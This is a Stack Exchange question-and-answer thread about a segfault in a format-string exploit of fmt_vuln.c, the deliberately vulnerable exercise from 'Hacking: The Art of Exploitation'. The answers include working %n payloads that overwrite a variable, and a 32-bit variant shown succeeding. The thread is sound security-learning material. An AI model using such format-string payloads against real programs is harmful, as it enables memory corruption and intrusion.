I am studying from "Hacking: The Art of Exploitation" and in program fmt_vuln.c format string is exploited. I am getting Segmentation Fault error.

Checking position of AAAA on stack:

$ ./fmt_vuln AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
The right way to print user-controlled input:
The wrong way to print user-controlled input:
[*] test_val @ 0x555555755010 = -72 0xffffffb8

Witing to test_value address

$ ./fmt_vuln $(printf "\x10\x50\x75\x55")%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n
The right way to print user-controlled input:
The wrong way to print user-controlled input:
Segmentation fault (core dumped)

As suggested in this answer I have disabled ASLR and compiled without stack protection.

  • Maybe stack canaries? – Ricardo Jul 25 '19 at 20:59
  • Questions on Stack Exchange sites must stand on their own; as this is in effect a debugging question it must include the actual code directly, not as a link. – Chris Stratton Jul 26 '19 at 18:56

As @Chris Stratton already said, you don't give the right pointer value - you want to put \x10\x50\x75\x55\x55\x55\x00\x00 as that value. Your segfault comes from instruction:

mov dword [rax], r13d

where rax = 0x7838302555755010, which confirms that you need to put these 4 extra bytes (to overwrite 78383025 part). I do not know however how you can pass NULL bytes in bash as an argument.

As a workaround, you can compile this program for 32bit architecture using -m32 option in GCC. Then use:

./fmt_vuln AAAA%08x.%08x.%08x.%08x

to get:

[*] test_val @ 0x56557008 = -72 0xffffffb8

and then:

./fmt_vuln $(printf "\x08\x70\x55\x56")%08x.%08x.%08x.%n

and finally you get:

[*] test_val @ 0x56557008 = 31 0x0000001f

Note: when in doubt, just run your program in a debugger (I used radare2 for instance) - this way you can get the instruction causing segfault and you can see register values at that moment.


[*] test_val @ 0x555555755010 = -72 0xffffffb8

This shows us that you are on a 64 bit system.

$ ./fmt_vuln $(printf "\x10\x50\x75\x55")%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n

Yet you attempt to supply only the low 32-bits as your pointer value. Whatever the value of the other 32-bits, they are overwhelmingly likely to be part of an invalid address.

This may not be the only thing wrong, but by itself it is a clear mistake.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.